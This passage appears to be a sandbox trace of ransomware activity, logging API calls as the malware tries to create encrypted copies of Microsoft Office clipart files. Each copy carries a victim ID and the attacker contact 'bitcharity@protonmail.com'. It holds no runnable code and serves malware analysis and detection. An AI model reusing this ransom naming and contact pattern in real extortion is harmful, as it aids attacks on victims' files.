office\\root\\clipart\\pub60cor\\so00453_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.163] CloseHandle (hObject=0x1228) returned 1 [0261.164] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.164] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00454_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00454_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.164] CloseHandle (hObject=0x1228) returned 1 [0261.175] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.175] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00466_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00466_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.176] CloseHandle (hObject=0x1228) returned 1 [0261.179] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.179] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00476_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00476_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.179] CloseHandle (hObject=0x1158) returned 1 [0261.181] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.181] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00479_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00479_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.182] CloseHandle (hObject=0x1158) returned 1 [0261.919] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.920] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00483_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00483_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.192] CloseHandle (hObject=0x1158) returned 1 [0262.194] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.194] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02276_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02276_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.195] CloseHandle (hObject=0x1158) returned 1 [0262.196] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.196] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02413_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02413_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.196] CloseHandle (hObject=0x1158) returned 1 [0262.197] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.197] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02431_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02431_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.197] CloseHandle (hObject=0x1158) returned 1 [0262.198] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.198] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02437_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02437_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.199] CloseHandle (hObject=0x1158) returned 1 [0262.200] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.200] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02439_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02439_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.201] CloseHandle (hObject=0x1158) returned 1 [0262.202] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.202] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02464_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02464_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.202] CloseHandle (hObject=0x1158) returned 1 [0262.203] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.203] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02465_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02465_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.205] CloseHandle (hObject=0x1158) returned 1 [0262.206] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.206] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02578_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02578_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.206] CloseHandle (hObject=0x1158) returned 1 [0262.207] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.207] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02617_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02617_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.208] CloseHandle (hObject=0x1158) returned 1 [0262.209] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.209] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02790_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02790_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.210] CloseHandle (hObject=0x1158) returned 1 [0262.211] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.211] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02791_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02791_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.211] CloseHandle (hObject=0x1158) returned 1 [0262.228] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.228] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02793_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02793_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.228] CloseHandle (hObject=0x1158) returned 1 [0262.230] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.230] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02794_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02794_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.231] CloseHandle (hObject=0x1158) returned 1 [0262.234] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.234] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02862_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02862_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.234] CloseHandle (hObject=0x1158) returned 1 [0262.236] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.237] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02886_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02886_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.237] CloseHandle (hObject=0x1158) returned 1 [0262.238] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.238] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02958_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02958_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.238] CloseHandle (hObject=0x1158) returned 1 [0262.671] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.672] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TR00126_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tr00126_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.672] CloseHandle (hObject=0x1194) returned 1 [0262.673] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.673] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TR00172_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tr00172_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.674] CloseHandle (hObject=0x1194) returned 1 [0262.675] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.675] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TR00178_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tr00178_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.675] CloseHandle (hObject=0x1194) returned 1 [0262.690] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.690] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TR00232_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tr00232_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.690] CloseHandle (hObject=0x1194) returned 1 [0262.692] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.692] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TR00233_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tr00233_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.693] CloseHandle (hObject=0x1194) returned 1 [0262.694] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.694] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TR00402_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tr00402_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.695] CloseHandle (hObject=0x1194) returned 1 [0262.696] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.696] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TR00482_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tr00482_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.697] CloseHandle (hObject=0x1194) returned 1 [0262.698] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.698] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TR00494_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tr00494_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.699] CloseHandle (hObject=0x1194) returned 1 [0262.701] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.701] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01219_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01219_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.701] CloseHandle (hObject=0x1194) returned 1 [0262.711] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.711] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01237_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01237_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.712] CloseHandle (hObject=0x1194) returned 1 [0262.713] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.713] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0262.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01238_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01238_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.714] CloseHandle (hObject=0x1194) returned 1 